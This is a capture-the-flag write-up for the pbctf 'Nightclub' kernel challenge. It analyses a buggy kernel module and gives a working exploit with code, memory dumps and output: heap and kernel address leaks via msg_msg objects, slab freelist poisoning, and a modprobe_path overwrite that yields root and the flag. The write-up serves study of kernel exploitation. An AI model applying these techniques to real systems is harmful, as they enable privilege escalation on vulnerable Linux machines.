Nightclub
Description
Do you like Heap-Hop ? Then show me your BHOPs
nc nightclub.chal.perfect.blue 1337
Team: Super Guesser
long device_ioctl(long fd, unsigned int cmd, request *req)
{
switch(cmd) {
case 0xCAFEB001: return add_chunk(req);
case 0xCAFEB002: return del_chunk(req);
case 0xCAFEB003: return edit_chunk(req);
case 0xCAFEB004: return (unsigned int)(edit_chunk - &_kmalloc);
}
return -1;
}
Nightclub was a heap note like kernel challenge, that let us add, delete and edit a chunk. It also provided a partial leak, returning the lower 32bit of the relative position from edit_chunk
to kmalloc
.
The add, delete and edit functions had those weird address checks on top
v1 = (char *)&_kmalloc + 0xFFE355B0;
kernel_chunk = (kernel_chunk *)kmem_cache_alloc_trace(kmalloc_caches[7], 3264LL, 128LL);
kernel_note = kernel_chunk;
if ( (kernel_chunk *)((char *)&_kmalloc + 0xFFE355B0) > kernel_chunk )
{
v7 = v1 - (char *)kernel_chunk;
result = 0xFFFFFFFFLL;
if ( v7 <= 0x5FFFFFF )
return result;
if ( &v8 >= (int *)kernel_note )
goto LABEL_4;
LABEL_12:
result = 0xFFFFFFFFLL;
if ( (unsigned __int64)((char *)kernel_note - (char *)&v8) <= 0xFFFFFF )
return result;
goto LABEL_5;
}
v4 = kernel_chunk;
result = 0xFFFFFFFFLL;
if ( (unsigned __int64)((char *)v4 - v1) <= 0x5FFFFFF )
return result;
if ( &v8 < (int *)kernel_note )
goto LABEL_12;
LABEL_4:
result = 0xFFFFFFFFLL;
if ( (unsigned __int64)((char *)&v8 - (char *)kernel_note) <= 0xFFFFFF )
return result;
which I just quickly interpreted as pb’s mean way to disallow us to directly edit or add a chunk over modprobe_path
. As it turned out later, this was meant to be used for bruteforcing kernel addresses to get the needed leaks. Well, I just ignored it completely and went a different route :’)
Let’s check the rest of add/edit/delete
struct k_obj
{
k_obj *next;
k_obj *prev;
char unk1[0x10];
unsigned long offset;
char unk2[0x10];
unsigned int uid;
char unk3[0x14];
unsigned long field0;
unsigned long field1;
char message[0x20];
}
long add_chunk(request *u_req)
{
unsigned int msg_size;
unsigned int msg_uid;
k_obj *kobj = kmem_cache_alloc_trace(kmalloc_caches[7], 3264, 128);
memset(kobj, 0, sizeof(kernel_chunk));
copy_from_user(&kobj->offset, &u_req->offset, 8);
copy_from_user(&msg_size, &u_req->msg_size, 4);
if (msg_size > 0x20 || kobj->offset > 0x10)
{
kfree(kobj);
return -1;
}
else
{
copy_from_user(&kobj->field0, u_req, 0x10);
copy_from_user(kobj->message, u_req->message, msg_size);
kobj->message[msg_size] = 0; // OOB null byte overwrite
get_random_bytes(&msg_uid, 4);
k_obj *tmp = master_list;
master_list = kobj;
kobj->uid = msg_uid;
tmp->prev = kobj;
kobj->next = tmp;
kobj->prev = &master_list;
return msg_uid;
}
}
Simply allocate a chunk and put our message into it. Though terminating our message with a null byte will lead to an oob null byte overwrite of the follow up chunks next
ptr, if we provide a msg_size
of 0x20
(didn’t use this, since we have the same in edit_chunk
also).
long edit_chunk(request *u_req)
{
int req_uid;
unsigned long offset;
copy_from_user(&req_uid, &u_req->chunk_uid, 4LL);
copy_from_user(offset, &u_req->offset, 8LL);
// check for empty list
if (master_list->prev == &master_list)
return -1;
k_obj* kobj = master_list;
// find chunk with matching uid
while (kobj->uid != req_uid)
{
kobj = kobj->next;
if (kobj == &master_list)
return -1;
}
// check size and offset
copy_from_user(&size, &u_req->msg_size, 4);
if (size > 0x20 || offset > 0x10)
return -1;
// copy message to kernel object
copy_from_user(&kobj->message[offset], u_req->message, size); // can overwrite following 0x10 bytes
kobj->message[size + offset[0]] = 0;
return 0;
}
This is getting more useful. Though, it will check that our msg_size
is not bigger than 0x20
and offset
isn’t bigger than 0x10
, if we use those limits, it will allow us to overwrite 0x10
bytes of the follow up chunk (which will be next
and prev
pointer of the following chunk).
It also has the same oob NULL byte overwrite (when specifying msg_size
0x20
and offset
0x0
) as add_chunk
.
long del_chunk(request *u_req)
{
int req_uid;
unsigned long offset;
copy_from_user(&req_uid, &u_req->chunk_uid, 4LL);
// check for empty list
if (master_list->prev == &master_list)
return -1;
k_obj* kobj = master_list;
// find chunk with matching uid
while (kobj->uid != req_uid)
{
kobj = kobj->next;
if (kobj == &master_list)
return -1;
}
k_obj* tmp_next = kobj->next;
k_obj* tmp_prev = kobj->prev;
tmp_next->prev = tmp_prev;
tmp_prev->next = tmp_next;
kobj->next = 0xDEAD000000000100;
kobj->prev = 0xDEAD000000000122;
kfree(kobj);
return 0;
}
This will unlink our chunk from the doubly linked list and free it.
Soooooo, since I totally ignored the intended way to leak kernel addresses, and next
and prev
pointers were overwritten in del_chunk
, I first had to come up with a way to find some proper leaks, to do anything useful with the overwrite in edit_chunk
.
Since our messages will always be null terminated, the only thing we can do without knowing exact addresses is to overwrite the LSB of the first qword in a following chunk with a null byte. Putting a msg_msg
struct in a freed chunk will also not help us much, since freeing it, would break the message object and we wouldn’t be able to retrieve it anymore after that.
But… a msg_seq
object would stay totally fine :)
So, for leaking, I allocated six chunks, deleted the third chunk (which will be at an address ending in a null byte) and sent a message with size 0xfd0+0x20+0x80
. This will create a msg_msg
object with size 0xfd0
and a msg_seq
with size 0x80
, thus landing exactly in our just freed chunk.
Then we can use the lsb null overwrite to overwrite the next
pointer of the fifth chunk, making it point to the msg_seq
object. Then we can just free that chunk, which will trigger the unlink in del_chunk
.
k_obj* tmp_next = kobj->next; // points to our msg_seq object
k_obj* tmp_prev = kobj->prev;
tmp_next->prev = tmp_prev; // writes kobj->prev to msg_seq+0x8
tmp_prev->next = tmp_next;
for(int i=0; i<6; i++)
uid[i] = add_chunk(0x20, 0x0, i, i, buf);
del_chunk(uid[1]);
del_chunk(uid[2]);
// overwrite LSB of next pointer of followup chunk (uid[4]) with 0x0 pointing to freed chunk (uid[2])
edit_chunk(uid[3], 0x10, 0x10, buf);
// allocate a msg_seq with 0x80, so it will be put into freed chunk (uid[2])
msgalloc(qid, buf, 0xfd0+0x80+0x20);
// delete chunk uid[4] to trigger unlink in msg_seq
del_chunk(uid[4]);
// receive the leak from msg_seq chunk
msgrcv(qid, buf, 0xfd0+0x80+0x20-0x30, 1, 0);
unsigned long kleak = *((unsigned long*)(buf+0xfd8));
unsigned long msgbase = kleak-0x280;
After deleting the first two chunks, memory will look like this
0xffff888003fcf400: 0xffffffffc0002100 0xffff888003fcf580 <= chunk 1 (uid[0])
0xffff888003fcf410: 0x0000000000000000 0x0000000000000000
0xffff888003fcf420: 0x0000000000000000 0x0000000000000000
0xffff888003fcf430: 0x0000000000000000 0x0000000005aa9c92
0xffff888003fcf440: 0x0000000000000000 0x0000000000000000
0xffff888003fcf450: 0x0000000000000000 0x0000000000000000
0xffff888003fcf460: 0x4141414141414141 0x4141414141414141
0xffff888003fcf470: 0x4141414141414141 0x4141414141414141
0xffff888003fcf480: 0xdead000000000100 0xdead000000000122 <= freed chunk 2 (uid[1])
0xffff888003fcf490: 0x0000000000000000 0x0000000000000000
0xffff888003fcf4a0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf4b0: 0x0000000000000000 0x00000000c5438ea4
0xffff888003fcf4c0: 0xffff888003fcf700 0x0000000000000000
0xffff888003fcf4d0: 0x0000000000000001 0x0000000000000001
0xffff888003fcf4e0: 0x4141414141414141 0x4141414141414141
0xffff888003fcf4f0: 0x4141414141414141 0x4141414141414141
0xffff888003fcf500: 0xdead000000000100 0xdead000000000122 <= freed chunk 3 (uid[2])
0xffff888003fcf510: 0x0000000000000000 0x0000000000000000
0xffff888003fcf520: 0x0000000000000000 0x0000000000000000
0xffff888003fcf530: 0x0000000000000000 0x00000000d03704e0
0xffff888003fcf540: 0xffff888003fcf480 0x0000000000000000
0xffff888003fcf550: 0x0000000000000002 0x0000000000000002
0xffff888003fcf560: 0x4141414141414141 0x4141414141414141
0xffff888003fcf570: 0x4141414141414141 0x4141414141414141
0xffff888003fcf580: 0xffff888003fcf400 0xffff888003fcf600 <= chunk 4 (uid[3])
0xffff888003fcf590: 0x0000000000000000 0x0000000000000000
0xffff888003fcf5a0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf5b0: 0x0000000000000000 0x00000000fbf11440
0xffff888003fcf5c0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf5d0: 0x0000000000000003 0x0000000000000003
0xffff888003fcf5e0: 0x4141414141414141 0x4141414141414141
0xffff888003fcf5f0: 0x4141414141414141 0x4141414141414141
0xffff888003fcf600: 0xffff888003fcf580 0xffff888003fcf680 <= chunk 5 (uid[4])
0xffff888003fcf610: 0x0000000000000000 0x0000000000000000
0xffff888003fcf620: 0x0000000000000000 0x0000000000000000
0xffff888003fcf630: 0x0000000000000000 0x0000000005c67703
0xffff888003fcf640: 0x0000000000000000 0x0000000000000000
0xffff888003fcf650: 0x0000000000000004 0x0000000000000004
0xffff888003fcf660: 0x4141414141414141 0x4141414141414141
0xffff888003fcf670: 0x4141414141414141 0x4141414141414141
0xffff888003fcf680: 0xffff888003fcf600 0xffffffffc0002100
With the null byte overwrite we changed the next
ptr from chunk 5 from 0xffff888003fcf580
to 0xffff888003fcf500
, now pointing to the freed chunk 3 (uid[2]).
Allocating a message with size 0xfd0+0x80+0x20
will then put a msg_seq
object in freed chunk 3.
0xffff888003fcf400: 0xffffffffc0002100 0xffff888003fcf580 <= chunk 1 (uid[0])
0xffff888003fcf410: 0x0000000000000000 0x0000000000000000
0xffff888003fcf420: 0x0000000000000000 0x0000000000000000
0xffff888003fcf430: 0x0000000000000000 0x0000000005aa9c92
0xffff888003fcf440: 0x0000000000000000 0x0000000000000000
0xffff888003fcf450: 0x0000000000000000 0x0000000000000000
0xffff888003fcf460: 0x4141414141414141 0x4141414141414141
0xffff888003fcf470: 0x4141414141414141 0x4141414141414141
0xffff888003fcf480: 0xdead000000000100 0xdead000000000122 <= freed chunk 2 (uid[1])
0xffff888003fcf490: 0x0000000000000000 0x0000000000000000
0xffff888003fcf4a0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf4b0: 0x0000000000000000 0x00000000c5438ea4
0xffff888003fcf4c0: 0xffff888003fcf700 0x0000000000000000
0xffff888003fcf4d0: 0x0000000000000001 0x0000000000000001
0xffff888003fcf4e0: 0x4141414141414141 0x4141414141414141
0xffff888003fcf4f0: 0x4141414141414141 0x4141414141414141
0xffff888003fcf500: 0x0000000000000000 0x5858585858585858 <= msg_seq
0xffff888003fcf510: 0x5858585858585858 0x5858585858585858
0xffff888003fcf520: 0x5858585858585858 0x5858585858585858
0xffff888003fcf530: 0x5858585858585858 0x5858585858585858
0xffff888003fcf540: 0x5858585858585858 0x5858585858585858
0xffff888003fcf550: 0x5858585858585858 0x5858585858585858
0xffff888003fcf560: 0x5858585858585858 0x5858585858585858
0xffff888003fcf570: 0x5858585858585858 0x4141414141414141
0xffff888003fcf580: 0xffff888003fcf400 0xffff888003fcf600 <= chunk 4 (uid[3])
0xffff888003fcf590: 0x0000000000000000 0x0000000000000000
0xffff888003fcf5a0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf5b0: 0x0000000000000000 0x00000000fbf11440
0xffff888003fcf5c0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf5d0: 0x0000000000000003 0x0000000000000003
0xffff888003fcf5e0: 0x4141414141414141 0x4141414141414141
0xffff888003fcf5f0: 0x4141414141414141 0x4141414141414141
0xffff888003fcf600: 0xffff888003fcf500 0xffff888003fcf680 <= chunk 5 (uid[4])
0xffff888003fcf610: 0x0000000000000000 0x0000000000000000
0xffff888003fcf620: 0x0000000000000000 0x0000000000000000
0xffff888003fcf630: 0x0000000000000000 0x0000000005c67703
0xffff888003fcf640: 0x0000000000000000 0x0000000000000000
Freeing chunk 5 will now trigger the unlink in del_chunk
, which will write the prev
pointer of chunk 5 (0xffff888003fcf680
) to the next
pointer of chunk 3, which is our msg_seq
object.
0xffff888003fcf4f0: 0x4141414141414141 0x4141414141414141
0xffff888003fcf500: 0x0000000000000000 0xffff888003fcf680 <= chunk 3 / msg_seq
0xffff888003fcf510: 0x5858585858585858 0x5858585858585858
0xffff888003fcf520: 0x5858585858585858 0x5858585858585858
0xffff888003fcf530: 0x5858585858585858 0x5858585858585858
0xffff888003fcf540: 0x5858585858585858 0x5858585858585858
0xffff888003fcf550: 0x5858585858585858 0x5858585858585858
0xffff888003fcf560: 0x5858585858585858 0x5858585858585858
0xffff888003fcf570: 0x5858585858585858 0x4141414141414141
0xffff888003fcf580: 0xffff888003fcf400 0xffff888003fcf600
Now we can just msgrcv
the complete message, which will contain the prev
pointer at offset 0xfd8
:)
Kernel leak : 0xffff888003fcf680
Message base : 0xffff888003fcf400
Though in hindsight, it wasn’t really needed, but at that point, I was so afraid, that something might break later on, that I decided to “repair” the “heap” and fixed all addresses in the chunks and reallocated them to get back into a “clean” state…
printf("Change heap to original state\n");
uid[2] = add_chunk(0x10, 0x0, 2, 2, buf);
uid[4] = add_chunk(0x10, 0x0, 4, 4, buf);
uid[1] = add_chunk(0x10, 0x0, 1, 1, buf);
unsigned long* ptr = buf+0x10;
(*ptr++) = msgbase + 0x180; // 0xffff888003fcf580;
(*ptr++) = msgbase + 0x100; // 0xffff888003fcf500;
edit_chunk(uid[4], 0x20, 0x10, buf);
ptr = buf+0x10;
(*ptr++) = msgbase; // 0xffff888003fcf400;
(*ptr++) = msgbase + 0x280; // 0xffff888003fcf680;
edit_chunk(uid[2], 0x20, 0x10, buf);
for(int i=0; i<6; i++)
del_chunk(uid[i]);
memset(buf, 0x42, 0x80);
uid[0] = add_chunk(0x10, 0, 0, 0, buf);
uid[1] = add_chunk(0x10, 0, 1, 1, buf);
uid[2] = add_chunk(0x10, 0, 2, 2, buf);
uid[3] = add_chunk(0x10, 0, 3, 3, buf);
uid[4] = add_chunk(0x10, 0, 4, 4, buf);
uid[5] = add_chunk(0x10, 0, 5, 5, buf);
Still, we only have a leak to our kernel heap, but don’t know the kernel base address. But since the module gave us the offset from kmalloc
to edit_chunk
, all we need for this is a leak to a module address.
Since we now know, where our chunks are allocated in kernel space, we can use the 0x10
byte overwrite to point the next
pointer of any chunk to an arbitrary address inside the heap.
With this, we can now create a msg_msg
object with size 0x80
and let a next
pointer point to it, to edit its size to leak the complete heap.
Also the last allocated chunk will have its prev
pointer pointing to master_list
, which is in the data section of our module, so we just have to allocate one chunk after the msg_msg
object to get that.
// Allocate a msg_msg struct in the heap
msgalloc(qid2, buf, 0x80);
// Add a chunk after the msg_msg, which contains pointer to master_list
uid[6] = add_chunk(0x10, 0, 6, 6, buf);
// Overwrite next pointer of chunk 2 with pointer to msg_msg->size
ptr = buf+0x10;
(*ptr++) = msgbase + 0x310 - 0x60; // msg_msg->size - 0x60;
(*ptr++) = msgbase + 0x180;
edit_chunk(uid[1], 0x20, 0x10, buf);
// Overwrite size of msg_msg via corrupted next chunk
ptr = buf;
(*ptr++) = 0x1000;
(*ptr++) = 0x0;
edit_chunk(0x4242424242424242, 0x10, 0x8, buf);
// Receive msg_msg with corrupted size
msgrcv(qid2, buf, 0x1000, 1, 0);
unsigned long module_addr = *((unsigned long*)(buf+0x60));
unsigned long module_base = module_addr - 0x2100;
unsigned long kmalloc = module_base + 0x10 - leak;
unsigned long kbase = kmalloc - 0x1caa50;
unsigned long modprobe = kbase + 0x144fca0;
printf("module addr : %p\n", module_addr);
printf("module base : %p\n", module_base);
printf("kmalloc : %p\n", kmalloc);
printf("kbase : %p\n", kbase);
printf("modprobe : %p\n", modprobe);
The next
pointer of chunk 0 will point to msg_msg->msg_type - 0x60
, so that its message
will overlap msg_type / msg_size / msg_next
of the msg_msg
struct. The msg_uid
for this fake chunk now is inside the message
from chunk 0, so we can just use 0x4242424242424242
as msg_uid
to edit the fake chunk.
0xffff888003fcf650: 0x0000000000000001 0x0000000000000001
0xffff888003fcf660: 0x4242424242424242 0x4242424242424242
0xffff888003fcf670: 0x0101010101010101 0x0101010101010101
0xffff888003fcf680: 0xffff888003fcf6b0 0xffff888003fcf580 <= chunk 0 (corrupted next)
0xffff888003fcf690: 0x0000000000000000 0x0000000000000000
0xffff888003fcf6a0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf6b0: 0x0000000000000000 0x000000002aabd8f7 <= fake chunk
0xffff888003fcf6c0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf6d0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf6e0: 0x4242424242424242 0x4242424242424242 <= fake chunk msg_uid
0xffff888003fcf6f0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf700: 0xffff888003fd3dc0 0xffff888003fd3dc0 <= msg_msg struct
0xffff888003fcf710: 0x0000000000000001 0x0000000000001000 <= msg_type / msg_size (now 0x1000)
0xffff888003fcf720: 0x0000000000000000 0xffff888003fbf200
0xffff888003fcf730: 0x0101010101010101 0x0101010101010101
0xffff888003fcf740: 0x0101010101010101 0x0101010101010101
0xffff888003fcf750: 0x0101010101010101 0x0101010101010101
0xffff888003fcf760: 0x0101010101010101 0x0101010101010101
0xffff888003fcf770: 0x0101010101010101 0x0101010101010101
0xffff888003fcf780: 0xffff888003fcf400 0xffffffffc0002100 <= prev (master_list)
0xffff888003fcf790: 0x0000000000000000 0x0000000000000000
0xffff888003fcf7a0: 0x0000000000000000 0x0000000000000000
0xffff888003fcf7b0: 0x0000000000000000 0x0000000030e46069
module addr : 0xffffffffc0002100
module base : 0xffffffffc0000000
kmalloc : 0xffffffff811caa50
kbase : 0xffffffff81000000
modprobe : 0xffffffff8244fca0
Ok, getting somewhere :)
Since I was still convinced at that point, that those address checks were meant to not allow us adding/editing chunks anywhere outside of the module heap and I wanted to overwrite modprobe_path
, I decided that I need another leak to freelist
, so that I can allocate a msg_msg
object directly on top of modprobe_path
.
While I found a leak in my local qemu environment in the same region as the notes were placed, when I finished the exploit and tried to run it remote, it was nowhere to be found anymore :’(
In the end, finding a proper address to leak from, which works local and remote took more time than the complete exploit itself. But, after some time, I found a stable leak at modprobe_path + 0xec520
, which worked on both environments.
To read it, I created another msg_msg
struct in the module heap and overwrote msg_size
and msg_next
of it. Receiving that message, will then also read the msg_seq
part from our corrupted msg_next
(modprobe_path + 0xec520
), with which we get a leak from the kernel memory region of the freelist for 0x80
chunks.
int qid3 = msg_open();
msgalloc(qid3, buf, 0x80);
ptr = buf;
(*ptr++) = 0x1400; // msg_msg->msg_size
(*ptr++) = modprobe+0xec520; // msg_msg->msg_next
(*ptr++) = msgbase-0x10198;
// overwrite msg_next of msg_msg object
edit_chunk(0x4242424242424242, 0x18, 0x8, buf);
msgrcv(qid3, buf, 0x1400, 1, 0);
unsigned long target = *((unsigned long*)(buf+0xfe8));
unsigned long cache_target = target + 0xee00;
printf("Target : %p\n", target);
printf("Cache target : %p\n", cache_target);
Now we can just overwrite the freelist pointer with a pointer to modprobe_path-0x30
.
// Overwrite a next ptr with a pointer into freelist
ptr = buf+0x10;
(*ptr++) = cache_target-0x70+4;
(*ptr++) = msgbase;
edit_chunk(uid[5], 0x18, 0x10, buf);
// Overwrite 0x80 freelist with modprobe - 0x30
ptr = buf+4;
(*ptr++) = modprobe-0x30;
(*ptr++) = 0x82;
edit_chunk(0x0, 0x10, 0x8, buf);
And all that’s left is to allocate another msg_msg
with which we can now overwrite modprobe_path
and trigger the usual copy flag modprobe exploit.
// Allocate a msg_msg overwriting modprobe_path
int qid4 = msg_open();
memset(buf, 0x0, 0x1000);
memset(buf, 0x41, 0x80);
strcpy(buf+0x30, "/home/user/copy.sh");
msgalloc(qid4, buf, 0x80);
close(fd);
// Execute modprobe_path exploitation
system("/home/user/dummy");
system("cat /home/user/flag");
$ python xpl.py 1
[*] Compile
[+] Opening connection to nightclub.chal.perfect.blue on port 1337: Done
[*] Booting
[+] Starting local process './pow.sh': pid 24719
s.AAAy2OakJIUO0OKNAUcWDhhh3XicEhe8635vqaJMg5b5TqTX31Eod3sQ0R8RftFHLRjooKczpAygmNzguBxumaYtcrr3YIWbK2m6M4bliCxaJMwRHvb4XDk9fABMZbpkLzF8HHnmOV9NKtg79zR6rNTlqO2oerw99pg63DY6oAZ8nPDWcWsMk/egdo2y320qZssev4mTRtMs0/y3UXjphcNQ
[+] Upload: Done
[*] Switching to interactive mode
$ ./pwn
./pwn
Kernel leak : 0xffffa1e80207c480
Message base : 0xffffa1e80207c200
module addr : 0xffffffffc0100100
module base : 0xffffffffc00fe000
kmalloc : 0xffffffffb61caa50
kbase : 0xffffffffb6000000
modprobe : 0xffffffffb744fca0
Target : 0xffffa1e81f41dd40
Cache target : 0xffffa1e81f42cb40
/home/user/dummy: 1: /home/user/dummy: \xff\xff\xff\xff: not found
pbctf{1_am_4ll_4b0ut_n1gh7lif3_cuz_i_h4ck_at_n1gh7}